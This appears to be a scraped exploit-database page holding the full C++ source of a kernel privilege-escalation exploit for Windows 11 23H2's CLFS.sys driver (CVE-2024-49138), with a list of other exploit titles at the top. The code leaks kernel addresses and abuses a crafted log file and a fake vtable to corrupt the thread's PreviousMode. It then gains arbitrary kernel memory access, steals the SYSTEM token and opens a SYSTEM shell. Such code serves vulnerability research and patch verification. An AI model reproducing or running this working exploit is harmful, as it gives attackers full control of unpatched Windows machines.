
9 changes to exploits/shellcodes/ghdb tar-fs 3.0.0 - Arbitrary File Write/Overwrite OpenSSH server (sshd) 9.8p1 - Race Condition Firefox ESR 115.11 - PDF.js Arbitrary JavaScript execution code-projects Online Exam Mastering System 1.0 - Reflected Cross-Site Scripting (XSS) WonderCMS 3.4.2 - Remote Code Execution (RCE) WordPress Core 6.2 - Directory Traversal Microsoft Windows 11 - Kernel Privilege Escalation Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
567 lines
No EOL
17 KiB
C
567 lines
No EOL
17 KiB
C
# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
|
|
# Date: 2025-04-16
|
|
# Exploit Author: Milad Karimi (Ex3ptionaL)
|
|
# Contact: miladgrayhat@gmail.com
|
|
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
|
|
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
|
|
# CVE: CVE-2024-49138
|
|
|
|
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
#include <clfsw32.h>
|
|
#include <format>
|
|
#include <psapi.h>
|
|
#include <iostream>
|
|
#include <fstream>
|
|
#include <iomanip>
|
|
#include <vector>
|
|
#include <cstdint>
|
|
#include "resource.h"
|
|
|
|
#define CONTROL_BLOCK_SIZE 0x400
|
|
#define OFFSET_EXTENDED_STATE 0x84
|
|
#define OFFSET_IEXTENDED_BLOCK 0x88
|
|
#define OFFSET_IFLUSHB_BLOCK 0x8c
|
|
|
|
#define _CRT_SECURE_NO_WARNINGS 1
|
|
|
|
//dt nt!_KTHREAD current
|
|
//+ 0x230 UserAffinityPrimaryGroup : 0
|
|
//+ 0x232 PreviousMode : 1 ''
|
|
//+ 0x233 BasePriority : 15 ''
|
|
//+ 0x234 PriorityDecrement : 0 ''
|
|
//+ 0x234 ForegroundBoost : 0y0000
|
|
//+ 0x234 UnusualBoost : 0y0000
|
|
//+ 0x235 Preempted : 0 ''
|
|
//+ 0x236 AdjustReason : 0 ''
|
|
//+ 0x237 AdjustIncrement : 0 ''
|
|
//+ 0x238 AffinityVersion : 0x14
|
|
//+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX
|
|
//WINDBG > dq ffffc201419e1080 + 0x232 L1
|
|
//ffffc201`419e12b2 00140000`00000f01
|
|
|
|
//WINDBG > ? nt!PoFxProcessorNotification - nt
|
|
//Evaluate expression : 3861424 = 00000000`003aebb0
|
|
//WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt
|
|
//Evaluate expression : 8324768 = 00000000`007f06a0
|
|
//WINDBG > ? nt!PsActiveProcessHead - nt
|
|
//Evaluate expression : 12812128 = 00000000`00c37f60
|
|
|
|
#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0
|
|
#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0
|
|
#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60
|
|
#define ACTIVEPROCESSLINKS_OFFSET 0x448
|
|
#define UNIQUEPROCESSID_OFFSET 0x440
|
|
#define TOKEN_OFFSET 0x4b8
|
|
#define TOKENPRIVILEGESPRESENT_OFFSET 0x40
|
|
#define TOKENPRIVILEGSENABLED_OFFSET 0x48
|
|
|
|
#pragma comment(lib, "Clfsw32.lib")
|
|
|
|
LPVOID GetKernelBaseAddress() {
|
|
LPVOID drivers[1024]; // Array to hold driver addresses
|
|
DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers
|
|
int driverCount;
|
|
TCHAR driverName[MAX_PATH];
|
|
|
|
// Enumerate loaded device drivers
|
|
if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
|
printf("Failed to enumerate device drivers. Error: %lu\n",
|
|
GetLastError());
|
|
return (LPVOID)0x0;
|
|
}
|
|
|
|
driverCount = cbNeeded / sizeof(drivers[0]);
|
|
|
|
if (driverCount == 0) {
|
|
printf("No device drivers found.\n");
|
|
return (LPVOID)0x0;
|
|
}
|
|
|
|
// The first driver is usually the Windows kernel
|
|
LPVOID kernelBaseAddress = drivers[0];
|
|
|
|
// Retrieve the name of the kernel driver
|
|
if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {
|
|
printf("Kernel Base Address: 0x%p\n", kernelBaseAddress);
|
|
printf("Kernel Name: %ls\n", driverName);
|
|
}
|
|
else {
|
|
printf("Failed to retrieve kernel name. Error: %lu\n",
|
|
GetLastError());
|
|
}
|
|
|
|
return kernelBaseAddress;
|
|
|
|
}
|
|
|
|
|
|
#define SystemHandleInformation 0x10
|
|
#define SystemHandleInformationSize 1024 * 1024 * 2
|
|
|
|
using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
|
|
ULONG SystemInformationClass,
|
|
PVOID SystemInformation,
|
|
ULONG SystemInformationLength,
|
|
PULONG ReturnLength
|
|
);
|
|
|
|
// Definitions for NTSTATUS and system calls
|
|
using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(
|
|
HANDLE ProcessHandle,
|
|
PVOID BaseAddress,
|
|
PVOID Buffer,
|
|
ULONG BufferSize,
|
|
PULONG NumberOfBytesRead);
|
|
|
|
using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(
|
|
HANDLE ProcessHandle,
|
|
PVOID BaseAddress,
|
|
PVOID Buffer,
|
|
ULONG BufferSize,
|
|
PULONG NumberOfBytesWritten);
|
|
|
|
fNtReadVirtualMemory NtReadVirtualMemory = NULL;
|
|
fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
|
|
|
|
// handle information
|
|
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
|
|
{
|
|
USHORT UniqueProcessId;
|
|
USHORT CreatorBackTraceIndex;
|
|
UCHAR ObjectTypeIndex;
|
|
UCHAR HandleAttributes;
|
|
USHORT HandleValue;
|
|
PVOID Object;
|
|
ULONG GrantedAccess;
|
|
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
|
|
|
// handle table information
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION
|
|
{
|
|
ULONG NumberOfHandles;
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
|
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
|
|
|
PVOID GetKAddrFromHandle(HANDLE handle) {
|
|
ULONG returnLength = 0;
|
|
fNtQuerySystemInformation NtQuerySystemInformation =
|
|
(fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"),
|
|
"NtQuerySystemInformation");
|
|
PSYSTEM_HANDLE_INFORMATION handleTableInformation =
|
|
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
|
|
SystemHandleInformationSize);
|
|
NtQuerySystemInformation(SystemHandleInformation,
|
|
handleTableInformation, SystemHandleInformationSize, &returnLength);
|
|
|
|
ULONG numberOfHandles = handleTableInformation->NumberOfHandles;
|
|
|
|
HeapFree(GetProcessHeap(), 0, handleTableInformation);
|
|
handleTableInformation =
|
|
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
|
|
numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +
|
|
sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);
|
|
NtQuerySystemInformation(SystemHandleInformation,
|
|
handleTableInformation, numberOfHandles *
|
|
sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)
|
|
+ 0x100, &returnLength);
|
|
|
|
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
|
|
{
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =
|
|
(SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
|
|
|
|
if (handleInfo.HandleValue == (USHORT)handle &&
|
|
handleInfo.UniqueProcessId == GetCurrentProcessId())
|
|
{
|
|
return handleInfo.Object;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
LPVOID g_ntbase = 0;
|
|
LPVOID address_to_write;
|
|
|
|
//Final byte = kthread.previousMode = 0
|
|
DWORD64 value_to_write = 0x0014000000000f00;
|
|
|
|
//BOOL SwapTokens() {
|
|
// DWORD64 eprocess = 0;
|
|
// ULONG bytesRead = 0;
|
|
// DWORD64 systemtoken = 0;
|
|
// DWORD64 currenttoken = 0;
|
|
// DWORD pid = 0;
|
|
// DWORD64 privileges = 0x0000001ff2ffffbc;
|
|
//
|
|
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
|
|
PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
|
|
// eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
|
|
//
|
|
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
|
|
&systemtoken, sizeof(systemtoken), NULL);
|
|
//
|
|
//
|
|
// while (1) {
|
|
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
|
|
ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
|
|
//
|
|
// eprocess -= ACTIVEPROCESSLINKS_OFFSET;
|
|
//
|
|
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
|
|
UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
|
|
// std::cout << "pid = " << pid << std::endl;
|
|
//
|
|
// if (pid == GetCurrentProcessId())
|
|
// break;
|
|
// }
|
|
//
|
|
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
|
|
¤ttoken, sizeof(currenttoken), NULL);
|
|
//
|
|
//
|
|
//
|
|
// //clears refcnt
|
|
// currenttoken = currenttoken & 0xfffffffffffffff0;
|
|
//
|
|
// printf("performing NtWriteVirtualMemory..\n");
|
|
//
|
|
// getchar();
|
|
//
|
|
// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
|
|
TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL);
|
|
// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
|
|
TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL);
|
|
//
|
|
//
|
|
// NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
|
|
&systemtoken, 0x8, NULL);
|
|
//
|
|
// return TRUE;
|
|
//}
|
|
|
|
int main()
|
|
{
|
|
HMODULE hModule;
|
|
HRSRC hResource;
|
|
errno_t err;
|
|
HGLOBAL hLoadedResource;
|
|
LPVOID pResourceData;
|
|
DWORD resourceSize;
|
|
FILE* file;
|
|
DWORD sectorsPerCluster;
|
|
DWORD bytesPerSector;
|
|
DWORD numberOfFreeClusters;
|
|
DWORD totalNumberOfClusters;
|
|
const char* rootPath = "C:\\";
|
|
PVOID marshallingArea = NULL;
|
|
ULONGLONG pcbContainer = 0;
|
|
std::wstring logFileName = L"LOG:";
|
|
std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf";
|
|
logFileName += inputName;
|
|
DWORD64 buf = 0;
|
|
ULONG bytesRead = 0;
|
|
LPVOID PreviousModeAddr = NULL;
|
|
DWORD threadId = GetCurrentThreadId(); // Get the current thread ID
|
|
DWORD64 eprocess = 0;
|
|
DWORD64 systemtoken = 0;
|
|
DWORD64 currenttoken = 0;
|
|
DWORD64 pid = 0;
|
|
BYTE PreviousMode = 0x1;
|
|
DWORD64 privileges = 0x0000001ff2ffffbc;
|
|
const char* directoryName1 = "C:\\temp";
|
|
const char* directoryName2 = "C:\\temp\\testlog";
|
|
HANDLE logHndl = INVALID_HANDLE_VALUE;
|
|
ULONGLONG cbContainer = (ULONGLONG)0x80000;
|
|
|
|
//Creating directories with the baselog and container file
|
|
if (CreateDirectoryA(directoryName1, NULL)) {
|
|
printf("Directory created successfully: %s\n", directoryName1);
|
|
}
|
|
else {
|
|
DWORD error = GetLastError();
|
|
if (error == ERROR_ALREADY_EXISTS) {
|
|
printf("The directory already exists: %s\n", directoryName1);
|
|
}
|
|
else {
|
|
printf("Failed to create the directory. Error code: %lu\n",
|
|
error);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
if (CreateDirectoryA(directoryName2, NULL)) {
|
|
printf("Directory created successfully: %s\n", directoryName2);
|
|
}
|
|
else {
|
|
DWORD error = GetLastError();
|
|
if (error == ERROR_ALREADY_EXISTS) {
|
|
printf("The directory already exists: %s\n", directoryName2);
|
|
}
|
|
else {
|
|
printf("Failed to create the directory. Error code: %lu\n",
|
|
error);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
//creating BLF
|
|
logHndl = CreateLogFile(logFileName.c_str(),
|
|
GENERIC_WRITE | GENERIC_READ,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
NULL,
|
|
OPEN_ALWAYS,
|
|
0);
|
|
|
|
if (logHndl == INVALID_HANDLE_VALUE) {
|
|
printf("CreateLogFile failed with error %d\n", GetLastError());
|
|
return 0;
|
|
}
|
|
else {
|
|
printf("file opened successfully\n");
|
|
}
|
|
|
|
//creating and adding container to BLF
|
|
if (!AddLogContainer(logHndl, &cbContainer,
|
|
(LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) {
|
|
printf("AddLogContainer failed with error %d\n", GetLastError());
|
|
}
|
|
else {
|
|
printf("AddLogContainer successful\n");
|
|
}
|
|
|
|
//closing BLF
|
|
CloseHandle(logHndl);
|
|
|
|
// Initialize variables
|
|
hModule = GetModuleHandle(NULL);
|
|
if (!hModule) {
|
|
printf("Failed to get module handle.\n");
|
|
return 1;
|
|
}
|
|
|
|
// Find the resource in the executable
|
|
hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1),
|
|
RT_RCDATA);
|
|
if (!hResource) {
|
|
printf("Failed to find resource. Error: %lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
printf("hResource = 0x%p\n", hResource);
|
|
// Load the resource into memory
|
|
hLoadedResource = LoadResource(hModule, hResource);
|
|
if (!hLoadedResource) {
|
|
printf("Failed to load resource. Error: %lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
printf("hResource = 0x%p\n", hLoadedResource);
|
|
// Lock the resource to get a pointer to its data
|
|
pResourceData = LockResource(hLoadedResource);
|
|
if (!pResourceData) {
|
|
printf("Failed to lock resource. Error: %lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
printf("pResourceData = 0x%p\n", pResourceData);
|
|
// Get the size of the resource
|
|
resourceSize = SizeofResource(hModule, hResource);
|
|
if (resourceSize == 0) {
|
|
printf("Failed to get resource size. Error: %lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
// At this point, pResourceData points to the binary data, and
|
|
resourceSize contains its size
|
|
printf("Resource size: %lu bytes\n", resourceSize);
|
|
|
|
// Example: Write the resource data to a file
|
|
err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb");
|
|
if (err == 0 && file) {
|
|
fwrite(pResourceData, 1, resourceSize, file);
|
|
fclose(file);
|
|
printf("Resource written to output.bin successfully.\n");
|
|
}
|
|
else {
|
|
printf("Failed to open output file. Error code: %d\n", err);
|
|
}
|
|
|
|
//preparing data structures in memory
|
|
g_ntbase = GetKernelBaseAddress();
|
|
|
|
|
|
NtReadVirtualMemory =
|
|
(fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
|
|
"NtReadVirtualMemory");
|
|
NtWriteVirtualMemory =
|
|
(fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
|
|
"NtWriteVirtualMemory");
|
|
|
|
if (!NtReadVirtualMemory || !NtWriteVirtualMemory) {
|
|
printf("Failed to get addresses for NtReadVirtualMemory or
|
|
NtWriteVirtualMemory\n");
|
|
return -1;
|
|
}
|
|
|
|
printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory);
|
|
printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory);
|
|
|
|
// Open a real handle to the current thread
|
|
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
|
|
if (threadHandle == NULL) {
|
|
printf("Failed to get real handle to the current thread. Error:
|
|
%lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
//0x232 = offset to _KTHREAD.PreviousMode
|
|
address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle))
|
|
+ 0x232);
|
|
|
|
auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000,
|
|
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
|
|
|
memset(pcclfscontainer, 0, 0x1000);
|
|
auto vtable = (DWORD64)pcclfscontainer + 0x100;
|
|
auto rcx = pcclfscontainer;
|
|
|
|
*(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200;
|
|
*(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase
|
|
+ DBGKPTRIAGEDUMPRESTORESTATE_OFFSET;
|
|
|
|
//arg1 of DBGKPTRIAGEDUMPRESTORESTATE
|
|
*(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300;
|
|
|
|
auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300;
|
|
|
|
|
|
//address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember
|
|
It writes at offset 0x2078 of where
|
|
*((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) =
|
|
(DWORD64)address_to_write - 0x2078;
|
|
|
|
//value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE
|
|
*((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) =
|
|
0x0014000000000f00;
|
|
|
|
((PDWORD64)vtable)[1] = (DWORD64)g_ntbase +
|
|
POFXPROCESSORNOTIFICATION_OFFSET;
|
|
*(PDWORD64)pcclfscontainer = (DWORD64)vtable;
|
|
|
|
printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer);
|
|
|
|
printf("address_to_write = 0x%p\n", (DWORD64)address_to_write);
|
|
|
|
HANDLE processHandle = GetCurrentProcess(); // Get the current process
|
|
handle
|
|
|
|
|
|
|
|
|
|
|
|
// Set the process priority to HIGH_PRIORITY_CLASS
|
|
if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) {
|
|
printf("Process priority set to REALTIME_PRIORITY_CLASS.\n");
|
|
}
|
|
else {
|
|
DWORD error = GetLastError();
|
|
printf("Failed to set process priority. Error code: %lu\n", error);
|
|
return 1;
|
|
}
|
|
threadHandle = GetCurrentThread();
|
|
if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) {
|
|
printf("Thread priority set to the highest level:
|
|
TIME_CRITICAL.\n");
|
|
}
|
|
else {
|
|
DWORD error = GetLastError();
|
|
printf("Failed to set thread priority. Error code: %lu\n", error);
|
|
return 1;
|
|
}
|
|
|
|
printf("triggering vuln...");
|
|
logHndl = CreateLogFile(logFileName.c_str(),
|
|
GENERIC_WRITE | GENERIC_READ,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
NULL,
|
|
OPEN_ALWAYS,
|
|
0);
|
|
|
|
if (logHndl == INVALID_HANDLE_VALUE) {
|
|
printf("CreateLogFile failed with error %d\n", GetLastError());
|
|
}
|
|
else {
|
|
printf("file opened successfully\n");
|
|
}
|
|
|
|
// Set the process priority to HIGH_PRIORITY_CLASS
|
|
if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) {
|
|
printf("Process priority set to NORMAL_PRIORITY_CLASS.\n");
|
|
}
|
|
else {
|
|
DWORD error = GetLastError();
|
|
printf("Failed to set process priority. Error code: %lu\n", error);
|
|
return 1;
|
|
}
|
|
if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) {
|
|
printf("Thread priority set to the highest level:
|
|
THREAD_PRIORITY_NORMAL.\n");
|
|
}
|
|
else {
|
|
DWORD error = GetLastError();
|
|
printf("Failed to set thread priority. Error code: %lu\n", error);
|
|
return 1;
|
|
}
|
|
|
|
printf("vuln triggered\n");
|
|
|
|
printf("reading base of ntoskrnl to check we have arbitrary
|
|
read/write\n");
|
|
|
|
NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL);
|
|
|
|
printf("buf = 0x%p\n", (DWORD64)buf);
|
|
|
|
printf("swapping tokens...\n");
|
|
|
|
NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
|
|
PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
|
|
eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
|
|
|
|
NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
|
|
&systemtoken, sizeof(systemtoken), NULL);
|
|
|
|
|
|
while (1) {
|
|
NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
|
|
ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
|
|
|
|
eprocess -= ACTIVEPROCESSLINKS_OFFSET;
|
|
|
|
NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
|
|
UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
|
|
|
|
if (pid == (DWORD64)GetCurrentProcessId())
|
|
break;
|
|
}
|
|
|
|
printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET);
|
|
printf("systemtoken = 0x%p\n", systemtoken);
|
|
|
|
printf("Overwriting process token..\n");
|
|
|
|
NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
|
|
&systemtoken, sizeof(systemtoken), NULL);
|
|
|
|
printf("token swapped. Restoring PreviousMode and spawning system
|
|
shell...\n");
|
|
|
|
PreviousModeAddr = address_to_write;
|
|
PreviousMode = 0x1;
|
|
NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode,
|
|
sizeof(PreviousMode), NULL);
|
|
|
|
system("cmd.exe");
|
|
|
|
return 0;
|
|
} |